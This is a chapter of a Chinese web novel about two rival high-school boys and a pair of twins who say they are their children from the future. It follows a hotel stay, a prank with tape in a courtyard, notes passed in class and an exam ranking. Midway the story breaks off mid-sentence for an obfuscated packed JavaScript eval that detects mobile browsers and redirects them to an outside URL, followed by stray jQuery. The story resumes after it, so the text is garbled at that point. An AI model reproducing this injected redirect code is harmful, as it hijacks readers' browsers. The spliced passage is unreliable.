“我俩真是穿过来的,一点没骗你。”少女越说越急,“你别走,你走了我俩怎么办,没地方住,没地儿吃饭,连学费都没钱交啊,爸,求你了,就相信我们吧。”
柯栩脸颊不知是羞的还是气的,微微泛红,他一甩胳膊:“别跟着我!”
到底还是男生力气大,柯栩甩开柯辛,大步出了教室门。
柯辛见唤不回爸爸,又转身去拉路辞的手,像小时候一样两手抓着路辞的大拇指和小拇指死死不放,“爹地,你一定要相信我和我哥,结婚证和孕检单都是真的,真的啊。”
路辞生性沉稳,不像柯栩那么毛毛躁躁的,他不怎么相信玄学,但今天这事儿,的确有些蹊跷,不能完全信,也不能完全不信。
路辞沉思几秒钟,问道:“既然你们是从未来穿越来的,那你俩说说,我和柯栩……怎么在一起的?”
这个问题柯辛最清楚,她拉着路辞坐下来,一副要详细讲述一番的架势:“是这样,你俩现在关系不咋地,但四年后,也就是你们大四毕业时,你俩那什么……我爸就意外有了我和我哥,然后奉子成婚呗,在我爸怀孕期间,你俩产生了感情,再然后……”
少女用轻灵的声音简述出来,在路辞脑海中形成了一段段具象的画面。
他唇角弯了一下:“这样啊。”
还挺有意思的。
路辞眉宇间聚起疑惑:“可是,他一个男的……”
路羽这时开口了:“我爸的情况十分特殊,在全世界也不超过五例。”
路辞神情微动,正要继续问,这时身后有脚步声传来,带着几分急促,三个人齐齐朝后看,只见柯栩气鼓鼓地又返了回来。
9.胶带封嘴
柯辛就喜欢黏她爸,见到柯栩就想往上贴,被柯栩一伸手掌挡住:“别靠近我!男女有别!”
柯辛努了努嘴,站到哥哥身边去了。
路辞问:“怎么又回来了?”
柯栩不理他,拿出笔记本摊开,十分不爽地在标题处写下了“检查”两个字。
方才下楼,他倒霉得竟然碰到了班主任,本以为能糊弄过去,结果,依然逃不过写检查。
兄妹俩看了看柯栩,不打算触他眉头了。
柯栩本来就不喜欢写这东西,现在被三个人盯着,他更写不下去,抄起笔和本就打算去别处写,却被路辞出声叫住:“就在这儿写吧,上学期你还当众念过检查呢。”
柯栩语塞,给路辞一棒槌的心思都有了,他那是没办法,当他乐意念给别人听呢。
他偏不听路辞的,转身就到窗台边写去了。
开什么玩笑,检查这么私密又难写的东西,怎么能让他们看见。
对于兄妹俩来说,爸妈在哪儿,他俩就在哪儿,等再晚都没关系。
而对于路辞,按部就班又枯燥的高三生活里,突然出现了一对自称是他和柯栩儿女的兄妹,这事就像在他毫无波澜的湖面上扔进一颗大石头,噗通一声,激起阵阵涟漪。
先不论真假和科学性,光是这件事的离奇和有趣,就值得他参与进来。
若在平时,他早就回家了。
今晚,他决定多待一会儿。
柯栩其实还算是个专注力比较高的人,加上时间晚了,今天的两千字检查,他只用了不到一个小时就编完了,下笔如有神地写了好几页。
搞定检查,柯栩转过身,又对上了那三人难以形容的怪异眼神。
两个把他当妈,一个把他当异类。
柯栩想逃离地球的心都有了。
-
傍晚,回家的路上。
柯栩走在最前,路辞走在他后边,柯辛和路羽走在最后。
四个人就这么默默走了有二十分钟。
终于,在胡同最后一个拐角处,柯栩顿住脚步,转过身来。
面对可怜巴巴的兄妹俩,他终是没发火,只是表情无奈道:“你俩到底要跟到什么时候?”
比柯栩还要高出几公分的路羽认真道:“跟到你家。”
柯辛眨眨眼睛,补充:“吃饭,写作业,睡觉。”
想到小时候爸爸抱着她哄她的幸福过往,少女又嘿嘿一笑:“黏着你。”
柯栩听了都想翻白眼自按人中了,他自诩见多识广,已经好久没遇到这么奇葩的事了,今天这事儿,着实到了他想大喊救命的程度。
本来就被他妈从早骂到晚了,这突然带回家两个这么大孩子,还费钱地管吃管住,不得被他妈骂到地老天荒?
柯栩神情不耐地指指路辞,“你俩不是管他叫爹吗?找他,全找他。”
兄妹俩满含期待地看向路辞,路辞迟疑片刻,点了点头:“行。”
这可把柯辛给开心坏了,他们穿越时空而来,总算离爸妈近了一步。
爹地和爸爸住一个院子里,那住爹地家,不就相当于住爸爸家里?一起上下学,一起打闹,最幸福的事,莫过于此了吧。
然而,十分钟后,柯栩早就溜了,兄妹俩没有跟着路辞回小院,而是被他带到了一家酒店。
这个年代住宾馆一般不用身份证,但路辞找的这家店是他爸名下的五星级酒店,需要身份证,可当路辞看见他俩的证件时,不由呼吸一滞。
出生日期:五年后。
啧,能用才怪了。
路辞是董事长儿子,直接成功开了一间房,将兄妹俩安排了进去。
站在装修高档的复式客房里,柯辛不开心地咧了下嘴:“这算什么?说好的去小院住呢。”
路羽想到了什么,问妹妹:“父亲给开了几天?”
柯辛想了想:“好像是一个星期。”
路羽放下书包:“估计是因为他家里也没地方住吧,先凑活几天。”
这时,房门被敲响,柯辛过去开门,路辞晃了晃手里的几瓶水:“给你俩的水。”
路辞正要离开,柯辛出声叫住他:“对了爹地……”
“别这么叫了。”路辞打断她,“咱们同龄,你总这么叫我,我也觉得怪怪的。”
柯辛悻悻一笑,“那我们该怎么叫你?”
路辞:“叫我路辞就行。”
兄妹俩对视一眼,想起穿越之前,他俩从小到大,可不敢对父亲不敬。
这倒好,都能直呼姓名了。
柯辛张了张嘴,“好吧,路……路辞。”
“那什么……”少女有些难以启齿,“我们……手里没钱。”
路羽走过来补充:“开学的所有费用都没交,还有……生活费也没有。”
这个年代没有手机支付,路辞沉默片刻,从钱包里掏出一沓百元纸币,十分慷慨地递给兄妹俩一人三千,说:“除去学杂费,剩下的应该够你俩花一个月。”
路辞话少,说罢,直接转身离开了。
-
傍晚,小院里。
秋蝉吟唱着,一声轻一声缓。
母亲杨丽梅送妹妹去上兴趣班了,还没回来,院子里没有了她的大嗓门,显得安静多了。
柯栩自己糊弄着吃了袋泡面,开始用电视机插卡打游戏,他双手捧着手柄机械地点着按键,两眼定格在电视屏幕上,有些失神。
片刻之后,“GAME OVER”弹了出来,一场游戏结束,柯栩输了。
他面无表情地又开了下一局,依旧是那副百无聊赖的状态,输了不会气恼,赢了也不会有多高兴,眼里也并没有任何沉迷的兴奋,有的,只是茫然的空洞。
总之,在家里打游戏对他来说,就是打发时间的工具,仅此而已。
一旦进入游戏,他内里混乱的灵魂就仿佛从□□抽离了出去,什么都不用想了。
两个小时过去,柯栩关掉电视,出去上厕所。
他撩开门帘,看到了在院子里听英语听力的路辞,高大的少年转过身来,两人对上视线。
啧,神经吗?大晚上的,在院子里喂蚊子。
柯栩本想呛路辞几句,可目光一转,发现那家伙的表情似乎有些意味不明,也不知道是不是他过分解读了,总觉得路辞的眼神是在看一个会生孩子的怪物,十分欠揍。
对于今天遇到的奇葩事,柯栩其实是将信将疑的,实在是这个玩笑太大了,一般人不会这么开还开得这么逼真。但他更倾向于认为那对龙凤胎是在整蛊,他们除了名字和他跟路辞相近,其他的全是造假的,至于他们的目的,柯栩懒得细想。
毕竟男人能生孩子这种事,实在是太荒诞了。
但作为闹剧的另一个主角,路辞是怎么想的,他就不知道了。
柯栩双手插兜下了台阶,他扬了扬下巴,面带几分不爽:“姓路的,你看什么看?”
不远处的路辞摘下耳机,有些好笑地看着柯栩:“眼睛长在我身上,是你突然出现在我的视野里的,怎么,还不让看了?”
“你,”柯栩语塞一瞬,嚣张地指着路辞,“信不信我把你眼睛用胶带粘上。”
一听这个,路辞唇角上扬的弧度又大了些,他无所谓地耸耸肩:“好啊,你来。”
“来就来,小爷我还怕你不成。”柯栩厕所也不去了,转身回屋找胶带,半分钟后,他拿着一卷宽胶带疾步走了出来。
路辞还在原地站着,很给面子地一步都没动,反而是柯栩,怒气冲冲来到路辞面前,却半天找不到胶带头。
路辞垂眸看着他满是躁意的脸,提议:“我帮你?”
柯栩白他一眼:“不需要。”
路辞眼神极好,月光下,透明胶带一闪,他不用摸就看到了一条线,抬手一指:“这儿。”
早就找烦了的柯栩哪里还顾得上面子,捏住胶带头,“哔咔”用力往开一扯,抬手十分迅速地按在了路辞眼睛上,而后绕着他的脑袋就是一圈一圈的转,直到确保路辞看不见为止。
路辞也不是吃素的,今天他心情不错,由着柯栩给自己粘了好几圈才开始反击,待柯栩抬起脚尖用牙齿咬断胶带,下一秒,路辞眼疾手快地一手抢过胶带,一手牢牢固定住了比他瘦的柯栩,将其双手反剪到身后,迅速用胶带绑住了少年细瘦的手腕。
身高体型不及路辞,力量又有些差距,全程不过十几秒钟,被左右摆弄的柯栩就只剩下骂骂咧咧任人宰割的份儿了。
“混蛋路辞!”柯栩挣脱不得,急得额头都冒汗了,“你给我弄开。”
路辞淡淡一笑,没理会柯栩的话,而是把住少年的胳膊,凑近他耳边,轻声来了一句:“放心,我会帮你保密的。”
“保密?”柯栩敏感的神经被挑起,他瞪着透明胶带后路辞睁着的双眼,“保什么密?”
路辞的视线仿佛完全不受胶带影响,他唇角微弯,伸出食指指了指柯栩小腹,语气带着几分轻慢:“你……能生孩子的秘密。”
“……!”柯栩简直就要气炸,口无遮拦地骂:“路辞你他妈,老子是男的!”
他抬腿踢向路辞,“我跟你没完!”
路辞一边拆头上的胶带一边躲柯栩,开玩笑道:“都有孩子了,确实不能完。”
柯栩气得嗓音都拔高了好几度:“那他妈都是假的!假的!”
“就你,还学神呢,没有自己的判断吗?”
柯栩气得脸都红了,他两手被绑在身后,好在他腿脚灵活,一直追着路辞绕水池好几圈都不带停的,同时,嘴里各种文明的不文明的话一股脑全骂了出来。
这时,杨丽梅人没到声音先到,大嗓门从胡同里就传了过来。
“柯栩就你长嘴了?骂个没完了?”
柯栩闻声看向院门口,母亲牵着妹妹快步走了进来,他背过身给母亲看自己被绑住的双手,一上来就告状:“妈,你看,是他绑住我的。”
杨丽梅给他后背来了一巴掌,“你不惹人家,人家绑你呢?”
“就是。”七岁的妹妹赵芸芸附和,“路辞哥哥那么稳重,肯定是你把他惹急了。”
柯栩百口莫辩,气得脸都绿了,他扭脸看向路辞,那家伙已经把胶带全部撕了下来,朝他晃了晃,嘴角噙着一抹笑,转身进屋了。
杨丽梅才不会管柯栩,柯栩只得求助妹妹:“芸芸,帮帮哥哥。”
赵芸芸从小就鬼精鬼精的,尤其对柯栩,简直有八百个心眼子,“那你得答应我件事。”
柯栩蹙眉:“什么事儿?”
赵芸芸眼睛轱辘一转,“这周末,你帮我跟路辞哥哥说说,让他帮我辅导辅导作业呗。”
柯栩神色一僵。
靠,怎么又跟路辞有关?
他是什么品种的香饽饽?抢着夸抢着要?
“不行,换一个。”柯栩没好气道。
赵芸芸惯常的任性:“不行,就这个,你不同意就那么粘着吧。”
柯栩知道自己拗不过妹妹,况且现在是自己有求于她,只得咬着牙同意:“行吧。”
-
次日,八班教室。
柯辛和路羽早早就到了学校,路辞在他们之后到,而柯栩,又成了那个卡点进班的最后一个。
柯栩刚一坐下,对面的柯辛就转了过来,她还没开口,就被柯栩抬手制止:“打住,别乱叫。”
现在,只要看见那对兄妹,他就产生了应激反应,生怕他们当着同班同学的面,叫出什么炸裂的称呼来。
柯辛“哦”了声,也不委屈了,毕竟换成任何一个十八岁的男生都很难接受自己未来会怀孕生子吧,她有的是耐心,会等爸爸慢慢接受的。
而且,她突然觉得她爸现在的性格还挺可爱的,少女指尖点了点桌面,试探道:“那我先叫你……柯栩吧,或者,像那些男生一样,叫你……小栩?柯柯?”
柯栩瞥了她一眼,无所谓道:“随你。”
早自习下课后,各科课代表收作业,柯栩的作业从来都是糊弄,但没空着,凑合能交。
他把最后一科塞进课代表手里,准备出教室晃悠,蓦地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439986|201002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,右前方传来“哗啦”几声,柯栩停下脚步,遁声看向地面。
两个红本本和一沓纸正面朝下散落在地,柯栩心下一凛,叫了声:“路羽!”
此时,路羽正往前排组长手里交作业,有人路过,看到地上的东西便准备矮下身去捡,被柯栩一伸脚挡住,“等等,不用你捡。”
路羽快步返回座位,赶紧捡了起来,整理好装进了书包。
旁边有人眼尖,笑着调侃道:“新同学,你怎么上学还拿着爸妈的结婚证呢。”
路羽冷着脸,没解释,只看了柯栩一眼,眼里透着几分担忧,担心柯栩怪他。
柯栩心大,见东西没被别人看见,插着兜出去了。
上了课,看着路羽的背影,柯栩才又想起课间那事,他从练习本上撕下一张纸,龙飞凤舞地写了句:这些东西怎么天天带来学校?住哪儿放哪儿,被人发现,就成惊天大新闻了。
他随意折了折,戳了下路羽的后背,待路羽转过身,用眼神示意他看纸条。
路羽接过打开一看,眉尾挑了下,写了一行字,放回柯栩桌面上。
柯栩摊开一看,纸条上用和他笔迹十分相近的字体写着:好的,爸爸。是我的疏忽让你担心了,下次保证不会了,爸爸。
语气那叫一个恭敬。
柯栩抿着唇,脸上表情就像地铁老人在看手机。
啧,这一口一个爸爸,叫的可真亲热。
虽说这个爸爸比柯辛叫的妈妈听着顺耳多了,可路辞还是觉得别扭,他可没有给别人当爸的爱好。
柯栩立马揉成一团扔掉了。
听到纸张揉搓的声音,路羽扭头朝后看了眼,又写了张纸条,传给了柯栩。
柯栩唇抿成一条线,打开一看,表情从拧眉到无语,再到生无可恋,可谓五彩缤纷。
纸上写着:放心爸爸,有别人在的时候,我跟妹妹一样叫你名字或乳名,只有我们一家四口的时候,我叫你爸爸。
你要快点适应,因为我和妹妹真是你十月怀胎生下来的,你最喜欢我们叫你爸爸了。
爸爸爸爸爸爸爸爸爸爸爸爸爸爸爸爸……
落款:爱你的小羽和小辛。
这样给爸爸留字条是他和妹妹之前就形成的习惯,路羽知道现在的柯栩很难接受,但他就想这么做,感觉很有趣。
如果按照生日计算,刚上高三的柯栩,比他和柯辛的年龄还小呢,是他们四个当中最小的,还没满十八周岁,而他俩和父亲,都已经满了十八,是成年人了,路辞是他们四个当中,最大的。
意识到这一点,路羽跟妹妹一样,也突然觉得这个时候的柯栩,咋咋呼呼毛毛躁躁,真挺可爱的,那是穿来之前,爸爸从未带给过他的感觉。
不像父亲,无论是四十岁的路辞,还是如今十八岁的路辞,都是一样的沉稳淡定,情绪很少外露,周身始终散发的生人勿近的疏离气场。
他对路辞,也还像以前一样,更敬重一些,如今他们年龄相仿,又多了层平等的关系。
柯栩看完纸条,习惯性就想揉掉,想到路羽那家伙听到声音不会又扔来一个吧,于是他耐着性子折了两折,装进了裤兜里。
他抬眸看向右前方的路羽,正好和扭脸看过来的路羽对上视线,那家伙朝他乖巧地眨眨眼,得到他一个无语的扯嘴笑,又转过头去。
路羽成功逗笑了爸爸,心里暗喜。
没人知道表面上矜冷淡漠的路羽,私下里面对爸爸时,竟是这幅亲昵的样子。
今天柯栩走得急没吃早饭,胃里饿得烧心,加上昨晚睡太晚困得厉害,其实挺想趴桌上补觉的,可接下来的几个课间,柯栩无一例外地都去楼道里杵着去了。
原因无他,柯栩就是不太想跟那三个人呆一块,尤其在路辞和龙凤胎说话讨论题目时,他更想躲远远的。
他就纳闷了,路辞他怎么就那么淡定,真当那俩是他未来孩子了?还相处得那么融洽?
一想到他们四个之间的关系,柯栩连捉弄死对头的心思都没了,只觉得别扭,特别别扭。
上午最后一节课前的课间,柯栩敲响了班主任程连之办公室的门。
程连之看见柯栩,眉头皱了一下:“什么事儿啊?”
柯栩:“程老师,我想……换座位。”
“换座位?”程连之一副说教的语气:“柯栩啊,这都高三了,你同桌路辞是年级第一,多少同学想坐他旁边都没机会呢,你居然要换座位?还有新来的两个转校生,这两天的作业我看了,准确率都很高,一看就是好苗子,你挨着三个优等生,好好跟人家学学,别就想着瞎混。”
从办公室出来,柯栩一下一下踢着地上别人丢的瓶盖,心里有些烦躁。
学习,又是学习,高三了,所有人都在拼命往前追赶,好像只有他在不断后退。
茫然,又麻木,什么都懒得去伸手抓。
任由车流前进荡起的尘土将自己淹没。
-
下午放学前最后一节课,程连之拿着一沓试卷进班了,两鬓已经冒出青丝的中年男人面色不虞,啪的拍了下讲桌:“上周的摸底考试成绩排名出来了,你看看你们这次退步成什么样?”
“一共十六个班,语文、英语、化学平均成绩年级倒数第一,你们可真能耐,剩下三科也没好到哪儿去,中等徘徊。”
“怎么,一个暑假玩得心都飘了?”
“不知道要升高三了,假期自己好好巩固巩固?”
程连之训斥了几句,开始一个一个点名,让学生亲自上台去领语文试卷,并公布总排名。
“路辞,成绩138,总分排名依然是雷打不动的年级第一。”
路辞起身走上讲台,教室里响起轰鸣的响声。
“赵静……齐向阳……”
同学们一个个陆续上前领试卷,越往后的成绩越低,班里气氛也越紧张。
这次年级排名垫底,程连之虽然生气,但十几分钟下来,语气还算平缓,直到念到柯栩的名字,他的声音一下子拔高了好几个度。
“柯栩!”